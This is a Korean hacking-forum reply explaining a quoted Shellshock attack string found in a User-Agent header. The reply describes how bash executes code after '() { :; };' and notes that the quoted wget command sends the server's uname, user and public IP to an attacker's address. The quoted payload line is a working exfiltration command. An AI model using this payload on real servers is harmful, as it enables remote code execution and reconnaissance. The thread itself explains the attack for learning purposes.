214, 2/11 회원가입  로그인  
   cosine
   [re] 이 공격구문에 대한 설명 부탁드립니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=206 [복사]


셸쇼크입니다. 리눅스 환경의 많은 웹 프레임워크에서 유저에이전트를 환경변수에 저장합니다. 따라서 취약한 환경의 서버사이드 스크립트에서 bash 셸을 호출한다면 User-Agent를 파싱하는 과정에서 {:;}; 이후부분의 코드가 실행됩니다. 코드는 공격자의 IP주소로 서버 정보를 전송하는 코드로 보입니다.===============================================================================

>User-Agent:() { :; }; /usr/bin/wget -qO - http://IP주소/?info-`uname`-`uname -p`-`whoami`-`wget -U curl -qO- ifconfig.me`
>이 공격구문에 대한 자세한 설명부탁드립니다.
===============================================================================
  Hit : 2676     Date : 2015/06/28 03:28


    
194   php 우회 질문 드립니다.[4]     bigshott
 11/10 7853
193   파일 업로드 취약점 질문 입니다.[2]     bigshott
 12/25 5045
192   웹해킹 관련 질문 좀 드립니다.[2]     bigshott
 12/16 5090
191   웹 해킹 자신있으신 분들 꼭 봐주세요     bird999
 12/05 2993
190   [웹(mysql)질문이 있습니다.][3]     BkeMan
 01/27 3772
189   [Web]php소스 해석점 부탁드릴게요..[2]     BkeMan
 03/06 4143
188   운영중인 웹사이트의 DB정보 해킹[2]     cameo305
 07/01 8773
187   sql injection 관련해서 질문입니다.[2]     cdpython
 07/28 3506
186   맥북으로 웹 모의해킹     chachaco
 06/16 3965
185   HTTP 헤더[1]     chaneyoon
 04/30 2828
184   해킹 과정을 공부하고싶은 대학생입니다.[1]     chanhee92
 07/22 3639
183   웹사이트 해킹관련 문의드립니다.[1]     chniow
 02/27 3246
182   제가 웹해킹을 배우려하는데요.     cjy559510
 12/02 4574
181     [re] 제가 웹해킹을 배우려하는데요.[2]     cjy559510
 12/02 4648
180   ip만으로 해킹가능한가요?[5]     clova777
 06/25 7698
    [re] 이 공격구문에 대한 설명 부탁드립니다.     cosine
 06/28 2675
178   아이피 우회 접속 질문입니다[1]     crankdat
 02/08 4187
177   웹 해 킹 가능하는[1]     custom890
 12/31 2923
176   궁금한게있는데요~...[1]     해킹study
 01/17 4080
175   웹해킹 에대한[3]     해켜스쿨
 04/18 3655
[1] 2 [3][4][5][6][7][8][9][10]..[11]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org